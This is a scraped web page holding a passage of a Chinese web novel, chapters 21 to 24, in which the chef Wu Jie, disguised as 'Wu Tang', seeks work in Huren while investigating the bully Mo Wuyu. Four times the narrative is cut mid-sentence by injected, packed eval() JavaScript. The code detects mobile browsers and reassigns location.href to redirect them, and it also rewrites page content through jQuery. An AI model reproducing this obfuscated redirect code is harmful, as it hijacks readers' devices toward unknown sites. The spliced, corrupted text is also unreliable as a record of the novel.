d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371168|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在桌前。 杨厨从柜中取了纸笔，那纸面极为光滑，上方书有“佳膳会”三个烫金的大字，展开来便散发出栀子的香气。 杨厨边写边问：“你叫什么？家在哪里？想去何处？要个什么薪资？” 敢情先前那录事在她耳边介绍“乌唐”，她是一点也没听进去！ 这个杨厨，瞧着全然是“只为厨艺折腰”的清高性情，竟然奇异地打消了一点乌婕心中对佳膳会的妖魔化印象。 她按照先前回答录事的信息，一一报给了杨厨，杨厨也只顾着记。 等到乌婕说还没想好要去哪个酒楼，薪资则是越高越好、最好每年能不低于三十两银的时候，杨厨的脸上才微微掠过一丝不寻常的笑意。 “三十两？你太看轻自己了。” 杨厨一面说，一面继续在纸上笔走龙蛇。 乌婕坐在对面，要倒着去看她写的字迹，辨认起来很有些艰难，只能依稀看出“西菜”“火艺”“留”“驱用”之类的字样，也不知道看准了没有。 杨厨书到最后，随手留了个落款，是个二字的名字。 乌婕努力去认，因为先入为主，很轻易看出那个姓氏是“杨”；但后面的名字就…… 等会儿。 杨绍安的那个女儿，继承了她手艺的“小鱼姑”是叫什么来着？ 乌婕正努力回想着，面前的杨厨已轻轻搁下了笔，对她说：“我给你算六十两……不，八十两的年薪，让你来我的店里上工，还能帮你牵线寻个租处；若你想到旁处看一看，就拿了我的信去自荐，听她们给你开什么条件。我只有一个要求：如果她们有人给你开的薪水比我略高些，你就来找我，我给你开更高的。” 乌婕吃了一惊，充分感受到了她“求贤若渴”的诚意。 只是一道“蛋儿白”而已，怎么这位杨厨轻易就从中发现了她的惊世厨艺，给出了这么优厚的待遇？ 乌婕浅浅自恋了一回，很快恢复了冷静。 也许蒸菜版的“蛋儿白”对杨厨而言意义非凡，所以才会让她如此震动。 当然，乌婕本人的扎实功底与过人技艺，同样是获得考官赏识的重要一环！ 乌婕做出感动的模样，又蹙眉思考了一会儿“我该怎么说”，最终才在杨厨的注视下开口道：“您……大姐，不知道到时候俺该去哪里找你呢？你又叫什么？” 不好意思啊，你不记得我，我其实也不知道你。 杨厨恍然，伸手指着信上的落款，对她说：“你若要寻我，只管去湖仁城里的千味轩，就说你找杨停厨子就是。” 杨停！ 那个“湖仁第一杨家”中，杨大商人杨鲁的妹妹！ 乌婕立刻就把她的资料和人对上了号，一时只觉得纸面上的情报有限，到底不如面对面的认识来得深刻。 原来这位千味轩的首席厨子，在佳膳会中竟是能够考校新人的“考官”地位。 也就是说，她不必靠自己的姐姐和姐夫，也能在佳膳会里活动关系，做些布置。 乌婕抬眼望去。 坐在对面的杨停正看着她，等待着她的回复。 乌婕扬起笑容，对她说：“杨停大姐，俺知道你是好人，只是俺来湖仁城找活计，是要养家糊口的，俺家那个也跟着一起来湖仁啦。俺就是想去你那里，也得先回去一趟，跟家里人讲一声，很快就报给你来！” 21. 家眷关怀 “乌姊回来了？是乌姊吗？” 乌婕在客房外低声道：“是我，四卿开门。” 原四卿的动作极快。 乌婕还没来得及收回悬在房门上的手，他就已经将门打开，笑盈盈地望着她的眼睛。 一个黑脸膛的人与一个白脸庞的人，相对着立在门板外面。 乌婕把自己在湖仁街上顺带买的一只小糖人递给他。 “你拿着玩吧，不要吃。” 到底是外头做的东西，用料品质不可估摸。原四卿身体不好，乌婕不想拿他的健康去赌。 原四卿伸手接过，拿在手里转了转小棒，圆头圆脑的糖人便团团地向他作揖。 “玩”糖人……应该是这么玩的吧？ 乌婕没注意原四卿陷入沉思的表情，看他不住用手去拨转它，还以为他挺喜欢。 于是两个人站在门口，不约而同地欣赏起了糖人的转圈表演，也是无聊得紧。 “是家君吗？” 齐元原本坐在屋内擦刀，听出外面是乌婕的声音，也就放任了原四卿去开门。 但是这门开是开了，却久久不见人进来，齐元十分警惕地站起身来，也往那半开的门外走去。 乌婕恍然回神，连忙带着原四卿跨进门槛，叫齐元看到她们的形貌，这才关了房门。 齐元看着乌婕的黑脸，非常正经地询问道：“此去如何？” 乌婕将怀中那封推荐信撇在桌上，简要地说明了眼下的情况。 齐元低头扫了一眼信上的内容，不置可否。 原四卿听得认真，等乌婕话音落下，便积极地接话道：“按乌姊说的，这个佳膳会给新厨子记名、设考，考官也是看重真本事的，不像是会排挤新人的地方，那入了会倒也不错。” 乌婕看了看沉默的齐元和附和的原四卿，哑然而笑。 湖仁一行，“乌唐”带来的家眷便是这二人了。 其他人不来，则有缘由。 齐大娘觉得乌婕“假扮乌唐试探情况”的计划实在鲁莽，一心想着是要劝阻她。 张掌柜原本是和齐大娘统一战线的，但她终究没拗过乌婕的意愿，何况此事不解决，风云楼就开不了，兹事体大。 于是张掌柜很快就转变成了乌婕的说客，反过来说服了齐大娘，同意了乌婕的行动。 只是无论如何，总不能让乌婕一人到人生地不熟、还有莫吴语在的湖仁县去，必得要人陪她。 齐大娘提名了自己，意思是用她把原四卿换下来，不叫他跟着车马劳顿，担惊受怕。 可是原四卿早记着乌婕的许诺，一定要随着她去，否则便不能放心。 “乌姊既要改换身份，我正可以从旁做个辅助。一般外地人去谋事，拖家带口的总要比孤身一人的值得信任。而且先前那些闹事的人都不曾见过我的脸，所以我连伪装也不必用，方便得很，我不去谁去？” 张掌柜在那群人心中是挂过号的，因此她就不能去。 而如果只留下张掌柜和张怜，风云楼的人员配置就又回到了乌婕归来之前的模样，这也不安全。 于是，原四卿先是条理清晰地说服了齐大娘，为了让她安心留在风云楼内，还嘱咐她多看顾浣竹。 “浣竹年纪小，乌姊要做的是正事，就不带他了。”原四卿这般强调，“既然如此，齐妈妈干脆也一同留下，浣竹和小怜作伴，你也正好和张姨作伴啊。” 张掌柜急忙出言拒绝：“我哪里要人作伴了呢？不如让你齐姨带着你们去罢，你们都年轻，得有大人引着，才能叫人放心。” 乌婕本来打算继续劝说，但一旁的原四卿已爽快地应下：“好，只是若齐妈妈引着我们去了，那么齐元就必得留下。否则我跟乌姊都放心不下张姨，哪怕身在湖仁，也会觉得不安的。” 齐大娘和齐元哪个武艺更高强，更能护住乌婕同原四卿，这还用说吗？ 最终，原四卿如愿和乌婕同行，齐元也被齐大娘嘱咐，千万千万要护好家君与公子！ 想到此处，乌婕走去桌前，依着人数倒了三杯热茶。 至于那封推荐信，则被谨慎地装回封中，放在了不会被茶水溅到的绝对安全处。 “我打算先到莫吴语家附近的食肆转一转，问问薪水。毕竟杨停先前许诺我，若是有薪水高于她的，可以回去向她要价。在找她之前，我起码要做出一个用心谋职的姿态，把‘乌唐’的身份再坐实一些。顺便也碰碰运气，看看能不能在那边遇见莫吴语，又或是与她相关的人。” 乌婕向两位家眷梳理自己的计划，“接下来，若是得了能追查下去的线索，我就带你们到莫家附近落脚；若是没有，就先应了杨停的约，在千味轩得个职位，安下身来，再慢慢地筹谋。” 这个简单的计划自然称不上精妙，但并不冒进，姑且算得上妥帖，齐元便点了头。 原四卿则主动问道：“假如一丝线索都寻不着，乌姊准备在此地停留多久呢？” 乌婕回答：“我想着，少则一月，多则半年。期间我必然会时常关注莫吴语的动作，而如果真的不曾撞见过一回……那风云楼多半也就安全了。” 原四卿一想，好像确实是这个道理。 倘若莫吴语接下来仍然坚持出银子，非得雇地痞去寻风云楼的麻烦，那她家附近的人员出入、银钱流动必然异常。 即使莫吴语有意遮掩，但乌婕已经亲自来到她的主场，几个月盯下来，不会抓不住一回把柄。 有了把柄自然就有线索，有了线索便可以上手段。 粗暴一些的，就直接捅给吴县令，让这位姑且还愿意管教劣女的母亲再收拾她一回；精细些的，就走迂回的路子，探明莫吴语到底是怎么盯上了风云楼，打消了她的念头。 而要是乌婕真的盯守了半年，期间都不曾获得一丝证据，那就说明莫吴语已经放弃了有关风云楼的所有打算，此间风头已过。 张掌柜也不必再担惊受怕，只随着乌婕重新招工、痛快开店就是。 原四卿想，这样的盘算看似进退有度，其实太过憋屈无奈。 归根结底，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371169|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那恶人仗势放肆，而乌姊为人正派，才不得不受限罢了！ 只是，因为莫吴语一个找麻烦的念头，乌婕就要埋名离乡，白白在湖仁县抛费这么长的时间。 这样做，真的值得吗？ “嗯？”乌婕给原四卿推了一杯茶，“此事倒也没有值不值得一说。” “其实，贺师一去，风云楼换了东家，按规矩本就得闭门一月左右，此后再开业，便该由我设计菜单、推出招牌菜。有些经营的细则，也得经我的手做些微调，总之是要显出新气象来。可我此前并无掌店的经验，原就该趁这段时间到旁的食肆去，做事学习，多长经验，然后再自行摸索。如今不过是把学习的地方从孝丰换做了湖仁。你看先前张姨劝我的时候，只是担忧我的安危，何曾顾虑过风云楼的重开？” 原四卿听得一怔，“所以，这一遭对乌姊来说，竟然是好事了？” 乌婕摇了摇头。 “坏人做的仍然是坏事，不会因为我这边的想法变成好事。我不过是不愿浪费时光，打算把探查和学习的活放在一起做了。四卿若是想不明白，就当我是苦中作乐吧。” 原四卿本来还想说些“福兮祸之所倚”的话来宽慰她，此时却一句也说不出口了。 他只好捧了放在自己面前的茶杯，还顺手抢了齐元没动的那一杯，都送到乌婕面前，眼巴巴地望着她，请她先喝。 “乌姊辛苦，乌姊多喝！” 乌婕哭笑不得。 “四卿的心意我领了，只是我哪里喝得了那么多？各自分了吧，接下来我们还有事要做。” …… 湖仁恶霸莫吴语的家宅设在松水街。 此街道路宽阔，环境雅致，正好处在湖仁官衙与莫氏银庄的中线上，地段极佳，人气也旺。 这是因为莫吴语本人喜欢新鲜物事，出手十分阔绰，松水街便常有流浪的艺人弹琴作耍、远行的商人在此卖宝。 哪怕莫吴语还有喜怒无常的毛病，时不时指着个摊子就要掀掉，也总有些胆大的小贩看中客源，推着板车来此吆喝叫卖，直把整条街都铺陈得热闹非凡。 如此一来，莫说本地人，许多外来的游客都会受此吸引，集聚而来，也就更加助长了松水街的声势。 乌婕随便跟了个卖乌梅水的小贩，东张西望一路行来，满脸写着好奇与向往，轻松就融进了松水街的氛围中，而后拨开人流，往几家大食肆的方向去了。 且说莫吴语前头娶的那位莫夫人逝世后，她就续娶了一个与佳膳会有关系的黄夫人，自此开始找大厨上莫家做菜。 然后，又不知缘由地打发她们离开莫家，再找人，再打发。 有道是近水楼台好得月，莫吴语找厨子，当然是先从家门口的食肆里去找，如此既能精准地知道厨子的根底，又足够方便。 而根据乌婕此前收集到的情报，莫吴语开始频繁与这几家食肆联系的时间，几乎与风云楼被找麻烦的时间同步。 也不知从这几家食肆入手，能否探出莫吴语这番异常活动的意图？ 22. 打个交道 “掌柜的，外头来了个黑厨子，问咱们这儿招不招人呐？” 李掌柜眉头一皱，没急着从柜台后起身，先开口训那兴冲冲的伙计：“什么黑厨子白厨子的，听着直叫人误会。人家是来咱们这儿找活，可不是过来洗手上岸的！若是客人听见了，被你带得乱想，这责任你来担？” 伙计嘻嘻一笑，不敢和李掌柜硬顶，只请她亲自出门去看。 李掌柜跟着这伙计往外走，嘴里说：“怕不是外地来的厨子吧？你问她，去过佳膳会没有？要是还没记名，咱们可不敢要她。” 伙计回道：“瞧您说的，我哪回忘了这个了？她说是已经记上了名，也考过了题目，这次就是带着信来的。” 李掌柜心下一喜，生出少许期待来。 她们八宝楼上个月刚走了一个东地来的董厨子，她做的菜口味与当地不同，许多客人就是冲着她那几道拿手菜来的。 结果董厨一走，那些多出来的客人们也跟着她走了。 至于留下来的熟客们，虽然并未强求八宝楼立刻再补一个东地的厨子上来，但或多或少，也都表达过对补充新鲜菜式的需求。 可是外地来的大厨向来紧俏，一时半会儿的，很难找到合适的补上。 李掌柜已经为此心焦多日，一面督促自家厨子尽快钻研新菜，一面盼着再来一个手艺不错的外地厨子，不论是不是东地的吧，好歹让大家吃个新鲜。 现在，真有一个符合要求的厨子送上门来了，这自然是大喜事。 李掌柜乐颠颠儿地和那伙计去了大堂一侧的小茶房里，刚一跨进门槛，就热情地驱赶那伙计：“愣着干什么？还不给大厨上茶？就让人在这儿干等着——呃、嗯？” 伙计被赶开的同时，桌边坐着的厨子也抬起脸来，迎着日光撞上了李掌柜的视线。 嘿，伙计说的竟然没错，来的还真是个货真价实的“黑厨子”。 李掌柜心里吃惊又好笑，面上却一点不露异样，照样笑盈盈地上前冲乌婕招呼，大家互通名姓，这才各自持杯坐了。 “……乌唐妹子瞧着年轻，我就厚脸居个长了。”李掌柜客套完，先问她最关心的话题：“不知妹子都会些什么菜？是打算长期做还是短期做？愿签个时日契，还是当工契？” 乌婕一板一眼地按顺序答了：“李掌柜，俺会做幽岍菜，来这儿是打算先做个一年半载的。只是你说的十日契和……当工契？这俩个都是什么？是十日十日发工钱的意思？” 李掌柜忙笑道：“哪会如此！我们湖仁的酒楼发钱是每月一发，绝不拖欠，妹子你出门问问，规矩都是一样的。” “先前我说的一个是叫‘时日契’，时候的时。若是签了这个呢，工钱就是按你每日来上工的时辰算，做多少活，就给多少钱。但如果是签‘当工契’，一签就要签一年，意思是这一年乌唐妹子你都得在我家做厨子，不得去别家做菜。因为是我们特意留了你，算的钱要比‘时日契’多得多，只看你想怎么选了。” 李掌柜狡猾地把话尾的钩子落在了“只看你想选哪个契”上，而不是“你要不要选我们家”，暗暗引着对方去考虑入职的事宜，生怕人跑了。 且她还特意加重了“多得多”的话音，只盼着这黑厨子能因为更丰厚的工钱，去选“当工契”。如此，黑厨子便能干得稳定一些，不会像先前的那个董厨一样，说走就走了。 乌婕不是看不出李掌柜话中暗藏的引诱之意，但依着乌唐的性子，她是听不出、也不能指出来的，还真会被李掌柜牵着走。 不过憨人也有憨人的好处。 乌婕将双手绞起，摆在桌上，露出信任期待的眼光，殷切诚恳地问李掌柜：“那，李掌柜姐，这个‘十日契’能给多少银子？那个‘当工契’钱多，又是多了多少钱呢？” 李掌柜甚至都没顾得上纠正这个奇怪的“掌柜姐”称呼，眼都不眨地先抛了一套打马虎眼的话术。 首先是说，妹子你放心，签当工的钱一定是比签时日要多许多的，我们酒楼大多厨子都签呢；其次则道，妹子你初来乍到不知道，这个薪水啊，最终得请东家来定，我只给你介绍介绍，也不敢跟你打包票不是？然后再补，我们东家也是个大方善心人呐，不光工钱给得多，逢年过节还有节礼可拿，待遇好得不得了呢！到时候我在旁边帮你说话，也不是指望你记姐姐的情，实在是咱们俩投缘，我见了你就喜欢，妹子你也别和我客气。 最后还要强调一番八宝楼在松水街多么多么有地位，在湖仁城多么多么有名望，酒楼中资历深的厨子过得多么多么幸福，只要妹子你肯来，我们一定用心栽培你，好好对待你，绝对不会短了你的！ 但是究竟能给多少，她是一点也没提。 这倒让乌婕觉得稀罕。 一般酒楼招人的时候，贴出的告示对待遇上讳莫如深的确实不少。李掌柜这套话术应对得是既完善又体面，但偏偏不该放在此处、说在此时。 两人现在可是关着门坐在一间屋子里，没有同行来抬价抢人，也不怕自家厨子听见新人待遇好，心里觉得不痛快。 厨子本人瞧着对工钱很是关心，李掌柜若是真精明，就会先抛出一个高价把人心勾过来，至于东家同不同意？ 到时候再说呗，反正还没签契给钱。 动动嘴皮子的事，怎么李掌柜宁愿说这么多废话，也不肯装一装为难，再喊一个高价？ 乌唐是个心眼实在的，听完了张掌柜这明显有所回避的一大串后，还要接着问：“所以李掌柜姐，到底是多少钱啊？” 李掌柜没能把人绕晕，又看出她是个不依不饶的性子，只好“呵呵”一笑，搓着手掌道：“妹子，也不是我这个做姐姐的不肯尽心，实在是这件事不能由我定啊。咱们湖仁的酒楼雇厨子，开的薪水有个‘封顶线’，至于这线究竟有多高，只有东家们知道，时不时还有点变化。妹子你若是真心想来我们八宝楼的，就请你略等一等，明天！明天我们东家就过来，让她亲自给你开钱，我是不能听的。” 乌婕不禁追问：“封顶线？这是东家们定的东西么？” 李掌柜说：“那自然了，妹子你来之前不是去过佳膳会的楼么？东家们要开会，都是在那儿开，商量好些个大事哪。所以咱们湖仁的大酒楼，那都是齐进齐出，有规有矩，外地轻易比不上的。” 乌婕凝神一看，发现李掌柜面上带着属于湖仁人的、不似作伪的骄傲。 作为外地来求活计的“乌唐”，她对这个所谓的“封顶线”不置可否；但是作为风云楼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371170|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东家，乌婕不由得对湖仁酒楼界这套“东家开会”的运作模式，产生了前所未有的好奇心。 先不说这套模式是好是坏，它可是孝丰镇没有的新玩意儿！ “这，这听着真稀罕啊，俺家那边都没有这样儿的。”“乌唐”脸上是一派天真的茫然，只是因为脸色太黑，一般人轻易看不太出，“可是湖仁、湖仁城里头有那么多酒楼，来来往往那么多厨子，佳膳会都能管得住么？它都管什么啊？” 这问题就和求职无关了，但李掌柜见她是外地人，倒也愿意额外多讲几句。 湖仁的酒楼确实不少，佳膳会只有一个，看起来是难管理，但…… “也不是什么酒楼都有资格被佳膳会管的。”李掌柜淡淡地说。 “街头的小饭馆小食肆，它们的东家倒是挤破了头想进，但哪有那么容易。能进佳膳会里头的，那都是名厨子，背后靠着大酒楼，说话极有分量。莫说这个薪水的‘封顶线’了，平日里组织些‘名厨比拼’‘百菜大赛’啊，也都是由佳膳会牵头，小酒楼参不进去，喝不上汤。若有那恶意排挤旁人的乱事，东家们都是坐进佳膳会里谈，既方便，也不怕闹起来收不了场。” “而且呀，能进佳膳会，哪怕只是记个名字，对厨子也只有好事的。比如城中好些大户都爱到佳膳会的名册里寻好厨子去做散席，做一回有许多银子拿。妹子你就算在我们这里签的是‘当工契’，只要雇主是从佳膳会那头看中了你，我们也不会耽误你拿这份钱。” 这一席话中有些能与乌婕此前收集的情报对上，有些却是她头一次听闻的消息。 这个佳膳会在湖仁的势力强大，外人看它是一手遮天，而在李掌柜看来，它的存在带来的全是好事。 至于那些“参不进去”的小饭馆？它们纵然有意见，也参与不了这套玩法，所以有意见也只能是没意见。 乌婕本来还有些深沉的忧思，听李掌柜讲到最后还不忘留她这个厨子，不由笑了。 她把推荐信放在桌上，跟李掌柜说：“俺听李掌柜姐讲得特好！对俺也特好！只是给俺写信的那个杨厨说，如果旁的酒楼给俺开的钱比她的多，就得去告诉她。所以俺肯定要先问一问的。” 现在想想，杨停给“乌唐”开的八十两银子，多半就是湖仁酒楼的“封顶线”了。 千味轩名义上的东家虽然是杨鲁，但杨大商人名下又不止这一家食肆的生意，轻易是顾不上的。 因此，千味轩日常的经营多半是大厨杨停在管，而她又是杨鲁的亲妹妹，不是东家，胜似东家，自然能知道“封顶线”的数额。 李掌柜本来想去拿那封信，听她这么一说，连手也不敢伸了，吸着气问：“乌唐妹子，你说的杨厨，是哪个杨厨？是不是个乐呵呵的，圆脸儿的，比我年纪还大些的？” 乌婕猜她说的是“杨绍安”，但“乌唐”又不知道，她哪能撒谎啊？ “不是，是个不爱笑的，瘦脸庞的，俺瞧着可年轻的杨厨嘞！” 李掌柜：“……” 她此时也只能在心底庆幸，得亏自己坐得正行得端，没在这个被杨停内定的黑脸儿面前说出坏规矩的话来！ 她对着乌婕假笑道：“原来如此，原来如此。妹子可真是有本事的人哪！” 23. 误打误撞 无端被“乌唐”暗访了一回的李掌柜看起来有些可怜，又有些气闷，起身想走了。 乌婕昧着良心，试图从她身上再榨一点情报来：“李掌柜姐！你刚才说的圆脸儿杨厨，又是哪个杨厨哇？” 李掌柜硬邦邦地说：“哦，妹子你初来不知道，那是‘杨万食肆’的东家，‘鱼大姑’杨绍安。她可是咱们都敬重的老资历，你日后若有幸见着了，可不能跟对我似的只顾坐着，要多去和鱼大姑问好请教，她是最热心不过的人了。” 但我可不是！ 洒家看起来难道很闲吗，竟被你一个黑脸消遣了一回？ 李掌柜伸手一请，就将这倒霉催的黑脸厨子请出了门。 乌婕感激地朝“李掌柜姐”的背影拱了拱手，这才转身汇入松水街的人流。 这条街上四家酒楼，乌婕已经走过了三家，问了三回。 一家说不缺厨子，一家只要本地人，再然后便是李掌柜所在的八宝楼。 也不知最后一家又是怎么个光景？ 乌婕没急着立刻上门，先在临近的某个糖水摊子上站住脚，照旧和人打听了两句。 因着她没有掏钱买糖水，小贩对她自然没太多热情。 但乌婕的问题也简单，小贩能答便随口答了。 “你问街头那家吉荣轩？哦，她们家生意不错的，经常有人包流水席。” “缺不缺人？你去看外头有告示没。” “我当然不去那儿吃了，开什么玩笑呢，又不是钱多得烧手。” “咋，你想去吃啊？那我听人说她家有个什么汤，能把人舌头鲜掉，县令大人都爱这一口。” “不知道，我没喝过。你也别喝，不然掉舌头。” 乌婕谢了低眉耷眼的小贩，迈着独属于外乡人的轻快天真的步伐，往吉荣轩去了。 还没走到近前呢，吉荣轩那金光闪闪的招牌已经叫人挪不开眼睛。 稍显奇怪的是，这么大一个酒楼，门脸却并不算开阔。 如今是白日的下午，有些客人应当会趁闲来就餐，吉荣轩的正门却闭了一半，似乎是更习惯做早间或晚间的生意。 也可能就像那小贩说的，吉荣轩是常做流水席生意的，所以不大接散客？ 乌婕的目光一投过去，招牌边上站着的一个闲闲的伙计忽而打直了身体，伸手招呼道：“娘子刚来？我家今日有好米酒，这会儿还有刚片下来的熟肉，再搭一碟宋厨拿手的鸳鸯菜，最好滋味！这会儿先替您摆上？” 伙计的口吻熟稔又热情，乌婕不由得环顾了一下周围，才确定对方指的人就是自己。 “米酒……鸳鸯菜？”乌婕迟疑道，“你家这个菜，贵不贵啊？” 伙计满口只说：“不贵，不贵，娘子是一个人来的不是？那就要个小碟子，就一碗米酒，才二百文！” 乌婕吓了一跳，“二百文？不成不成，有这个钱，十几斤好酒肉都买了，你家这只有小菜！” 她这边嫌贵，那边伙计笑得更开心：“娘子呦，您是不知道我们宋厨的手艺？凡是吃过鸳鸯菜的客人，只有夸的，没一个觉得不值的！您要是怕我坑您，先给二十文，尝个一两口，那也使得！” 乌婕特意后退一步，仰头将足有四层高的吉荣轩扫了一遍，才不确定地问那伙计：“你们这么大的酒楼，俺，俺就掏二十文，这生意你们也做？” 伙计仍是笑眯眯的，“莫说二十文，一文钱的生意，我们也做！娘子，请进吧？” 奇哉怪哉，那个糖水摊子离这吉荣轩还不到百步，怎么旁人嘴里的风评和正主的风格差异有这么大？ 乌婕心里仍然生着疑窦，但那伙计邀得实在殷切，何况她本来也要进去求职的，一推一拉，也就踏进门里了。 刚一进门，如钻进洞天一般。 乌婕眼前先见着一堵墙，满眼黑；若不是伙计及时对她说：“娘子走这边！”她恐怕当场就要退出去了。 伙计走在前头引路，带她绕了堵墙，进到光线昏暗的大堂，没走两步，就摸到了楼梯边。 一个酒楼，进门先是墙，大堂里面又空空荡荡，不见惯有的桌椅摆设，反而把楼梯放在正中，周围还错落着些或燃或熄的立地灯柱，诡异得像家黑店一般。 乌婕心都提起来了，不动声色地把脚步往后撤。 忽而，她耳尖一动，听到了来自楼上的丝竹声。 伙计走到楼梯边，冲她弯下腰来。 光线实在不好，乌婕看不清她的表情，但那声音却意有所指： “娘子头一回来湖仁吧？我们家掌柜的就在上头，他呀，最懂得人心了。您在这儿好好听一听，玩一玩，吃一吃，出多少文就受多少文的招待，别害羞嘛。” 乌婕头皮都炸了！ 她是走西闯南的大女人，二十多岁的年纪，就算没吃过猪肉，还没见过猪跑？ 哪家酒楼会是这种做派？哪个跑堂的伙计会用这样的话术？ ——这原来是个披着酒楼皮的青馆啊！！ 怪不得那小贩轻易不去、什么大户包流水席、什么宋大厨的鸳鸯菜…… “俺来不了来不了！俺有夫人了！” 乌婕急退数步，转身就想溜，那伙计赶紧抬脸往前追，“哎呦娘子，您想哪儿去啦？咱这儿就是听听曲子吃吃菜的地方，难得来湖仁一回，您不尝尝？” 即使听见了伙计描补的解释，乌婕的脚步依旧坚定向外。 你家要是真只是喝喝酒吃吃菜，用唱曲招徕客人的正经酒楼，能把一楼弄成这种样子？ 乌大东家名下可是有酒楼的！ 再听听那伙计说的，“难得来湖仁一回”？ 乌婕想，这可真是坏菜。 “乌唐”脸孔黑，口音重，旁人看出她是个外乡人，一点也不奇怪，而且正是乌婕有意维持的结果。 但是被这个披皮的青馆看出来、盯上去，那可绝不是什么好消息。 青馆想招揽生客是一说，外地人不懂行容易被加价是一说。 乌婕怕的是，万一她们见她是独身的外来人，不止想谋财……怎么办？ 沾着皮肉生意的地方，注定少不了赌客与凶徒。 乌婕本就不是贪色之人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371171|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何必把自己的安危搭进这么个污糟地方去？ 只是乌婕的反应终归是慢了一些。在她退出去之前，二楼已有人下来了。 还不止一人。 “莫大人，莫大人，您走慢着些。” “下面的怎么还不给大人点灯啊？憨货！” “大人下回再来呀——” “小细儿今晚的房间都留给您了！” 一片闹哄哄的嘈杂中，大堂里的伙计再顾不上乌婕，赶忙去角落处提了油灯来，又去点那些灯柱，迅速让一楼明亮了许多。 乌婕敏捷地挪去了一个离楼梯和出口都有些距离的角落，做出一副局促不安的模样，实则悄悄观察着楼梯上的人的动向。 一名身着华服的女子，在好几个纤细男子的簇拥下，走到了一楼与二楼交界的缓步台。 她的神情看起来有些不耐，步子却透着股闲适的意味，似乎是刻意在等着谁。 因为她看起来没有在拒绝，那些男子中哪怕是明显挂着惧怕神色的，也强行挤出了笑容，努力往她身上去贴。 这位“莫大人”随手扯过一个穿淡青色纱衣的，看了看他的脸，手一松，便把人推倒了。 淡青纱衣双手乱舞，险险避开了危险的楼梯，跌靠在了缓步台一侧的栏杆上。 “下回换几个新鲜的来。”女子对着一个刚好背对着乌婕的红衣裳的人说了这么一句，就拨开所有人，自顾自往下走去。 那个红衣裳为了在女子身后行礼，身子一转，他的面孔就落到了乌婕眼中。 红衣裳的年纪比另外几个男子要大一些，妆容也更重，嗓音是微微发哑的婉转：“哎，莫大人下回来，一定都给您找最新最好的。” “莫大人”嗤笑道：“你可千万记着，再敢拿老货糊弄我，等着人来砸你的摊子吧！” 她抛下这团男子，目不斜视地走下楼梯，中间只随意瞄了乌婕一眼，毫不在意地出去了。 乌婕没有贸然与之对视，眼睛向下望着地面，心脏却狂跳起来。 事情会有这么巧吗？ 一个来逛青馆的、被称为“大人”的人，离开的时候身边没有随从，是不是因为她的家就在附近？ 但也可能是懒得麻烦，或者是青馆的规矩。 而且，也许不是“莫”呢？比如，墨？ 乌婕琢磨这一小会儿的工夫，红衣裳已打发了那几个穿纱衣的上去，眼睛向下一望。 他先呼那伙计：“怎么招待的客人？就让人在底下站着？” 伙计手里还捧着灯，面上挂着一层薄汗。 她朝乌婕所在的方向努了努嘴，对红衣裳道：“嘿，这客人说是有家室，不肯来玩呢，可不是我不懂招待啊！” 红衣裳本来似乎是想亲自下楼来，但听伙计这么一说，便站在原地，叹了口气。 “咱们家也没有强行拉客人的道理，客人要走，就让她走吧。” 乌婕迟迟抬起头来，做出恍然回神的样子。 她大声对那个红衣裳说：“你、你就是这儿的掌柜吧？俺不是客人，俺是个厨子来的——” 24. 目标明确 被叫了“掌柜”的红衣裳身形一顿，到底还是从楼梯上走了下来。 伙计见他和乌婕似乎要谈事，不知从哪个角落翻出了两个凳子，随便摆在了某个灯柱旁边，这才转身往门外走去。 红衣裳也没叫她，对乌婕道：“娘子方才说什么？我在上头听不大清楚，不如坐下来说。” 乌婕虽然有打探消息的心，但却没有在青馆久留的意思，此时便憨笑着回他：“掌柜，俺来是想问你这边缺不缺厨子，可是你家，你家这瞧着不像是做正经生意的。俺想起来家里还有点事儿，就先走了。” 红衣裳看她是真不想坐，索性也没有劝，只是自己随便拣了一张板凳，双腿一伸，极粗鲁地坐了。 他上面穿着的是红色的绣花布衫，领扣紧紧地扣着，袖口盖过手腕。 人往下一坐，衣摆一动，下面露出来的却是条雪白的纱裤，布料极薄，隐约能瞧见小腿的颜色。 乌婕不慎瞥见，立刻转开了目光。 红衣裳的眼睛只能落在她的侧脸上，嗤笑一声，长长地吐出一口气来。 